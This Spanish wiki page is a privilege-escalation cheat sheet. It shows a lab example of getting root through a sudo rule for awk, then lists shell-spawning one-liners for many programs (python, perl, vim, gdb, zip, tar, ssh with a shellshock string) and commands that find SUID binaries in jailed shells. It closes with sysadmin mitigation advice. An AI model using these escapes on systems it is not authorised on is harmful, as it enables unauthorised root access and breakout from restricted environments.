Busindre

This page is read only. You can view the source, but not change it. Ask your administrator if you think this is wrong.
===== Escalado con sudo / Ejecutar una shell en entornos restringidos / enjaulados (Shell spawning) =====

Dependiendo de como se haya configurado sudo, es posible ejecutar comandos que nos pueden permitir obtener una shell de root. El mismo mecanismo se puede utilizar para intentar obtener una terminal con privilegios en terminales restringidas o entornos enjaulados. Estos son algunos programas que facilitan poder arrancar una shell. En el proyecto https://gtfobins.github.io/ se podrá encontrar un gran recopilatorio de binarios que pueden ser aprovechados para sortear restricciones, ya sea a nivel de shell restringidas o bien sudo/suid.

Ejemplo de escalda de privilegios usando awk.
<code bash>
user1@vagrant:~$ sudo -l   # Configuración sudo del usuario user1.
Matching Defaults entries for user1 on vagrant.vm:
    env_reset, exempt_group=sudo, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User user1 may run the following commands on vagrant.vm:
    (ALL : ALL) /usr/bin/awk

user1@vagrant:~$ id   # UIDs del usuario user1.
uid=1001(user1) gid=1002(user1) groups=1002(user1)
user1@vagrant:~$ sudo awk 'BEGIN {system("/bin/sh")}'   # Escalada de privilegios.

user1@vagrant:~# id
uid=0(root) gid=0(root) groups=0(root)   # Usuario root.
</code>

==== Aplicaciones que pueden facilitar escalada de privilegios ====

**Python**.
<code bash>python -c 'import pty; pty.spawn("/bin/sh")'</code>
<code bash>python -c 'import os; os.system("/bin/bash")'</code>
<code>python
>>> import os
>>> os.system("/bin/bash")'</code>

**Awk**.
<code bash>awk 'BEGIN {system("/bin/sh")}'</code>

**Find**.
<code>find /home/user/.cmake/ -name packages -exec /bin/awk 'BEGIN {system("/bin/sh")}' \;
find /home/user/.cmake/ -name packages -exec /bin/sh \;</code>

**Perl** (linea de comandos).
<code bash>perl -e 'exec "/bin/bash";'</code>

**Perl** (dentro de un script / modo interactivo).
<code bash>exec "/bin/sh";</code>

**Ruby** (linea de comandos).
<code>ruby -e "system '/bin/sh'"
ruby -e "exec '/bin/sh'"</code>

**Ruby** (dentro de un script / modo interactivo).
<code>exec "/bin/sh"
system "/bin/sh"</code>

**Lua** (linea de comandos). 
<code>lua -e "os.execute('/bin/sh')"</code>

**Lua** (dentro de un script / modo interactivo). 
<code>os.execute('/bin/sh')</code>

**except**
<code>except spawn</code>

**gdb**
<code>gdb
(gdb)!/bin/bash</code>

**MySQL**
<code>mysql> \! /bin/bash</code>

**Vi** / **VIM**
<code>:!bash</code>
<code>:set shell=/bin/bash
:shell</code>

**Pico**
<code>pico -s "/bin/bash" 
Escribir /bin/bash y pulsar Ctrl+t.</code>

**Git**
<code>git help status > !/bin/bash</code>

**more / less / man / nmap (versiones antiguas con opción %%--&&interactive)**
<code>!sh</code>

**ssh**
<code>ssh user@XX -t "/bin/sh"
ssh user@XX -t "bash --noprofile"
ssh user@XX -t "() { :; }; /bin/bash" (shellshock)</code>

**zip**
<code>zip /tmp/test.zip /tmp/test -T --unzip-command="sh -c /bin/bash"</code>

**tar**
<code>tar cf /dev/null testfile --checkpoint=1 --checkpoint-action=exec=/bin/bash</code>

===== Explorar el entorno en shells muy restrictivas =====

**Buscar procesos enjaulados**: [[buscar_procesos_corriendo_en_jaulas_chroot]]

Conocer el entorno donde se está enjaulado.
<code bash>echo $SHELL
sudo -s
printenv
env
find / -perm -4000 -exec ls -ldb {} \; # Buscar comandos con SUID.
</code>

Listar ficheros. (Alternativa a dir, ls,...)
<code bash>echo *</code>

Ver contenido de un fichero (Alternativa a cat, less, more,...)
<code bash>while read line; do echo "$line"; done < file.txt</code>

Contar las lineas de un determinado fichero. (Alternativa a wc)
<code bash>grep -c -i ".*" /etc/passwd</code>
<code>i=0; while read line; do i=$(($i+1)); done < ./file.txt; echo $i </code>

Conocer la identidad del usuario en uso.
<code>i=0; while read line; do i=$(($i+1)); done < ./file.txt; echo $i</code>
<code>echo $UID</code>

NOTA: echo y los nombres de variables pueden dar información de interés. El comando "env" muestra un buen listado de variables disponibles.

Buscar ficheros ejecutables, con permisos de lectura, escritura, etc.
<code bash># Ficheros con permisos de lectura.
for x in `echo /sbin/*`; do if [ -r $x ]; then echo $x; fi; done

# Ficheros con permisos de escritura "-w", de ejecución: "-x",...
# Leer: http://tldp.org/LDP/abs/html/fto.html</code>

===== Mitigación de escalado con sudo / SUID =====

La correcta mitigación del abuso de sudo requiere una gestión cuidadosa de los usuarios de sudo y sus permisos. Los administradores deben asegurarse de que sus usuarios sudo utilicen contraseñas robustas.

Los administradores deben seleccionar programas que no alberguen la posibilidad de usar parámetros que permitan la ejecución de código arbitrario. Por ejemplo el uso de nano en lugar de Vi. 

Si un usuario necesita acceso de lectura a archivos confidenciales, lo mejor sería agregarlo a grupos específicos que tengan permisos para leer el archivo y no otorgarle derechos de sudo. 

Identificar con find los binarios con SUID activo y estudiar si algunos de ellos es explotable.

Considerar el uso de particiones con la opción nosuid.

**Enlaces de interés**: https://gtfobins.github.io/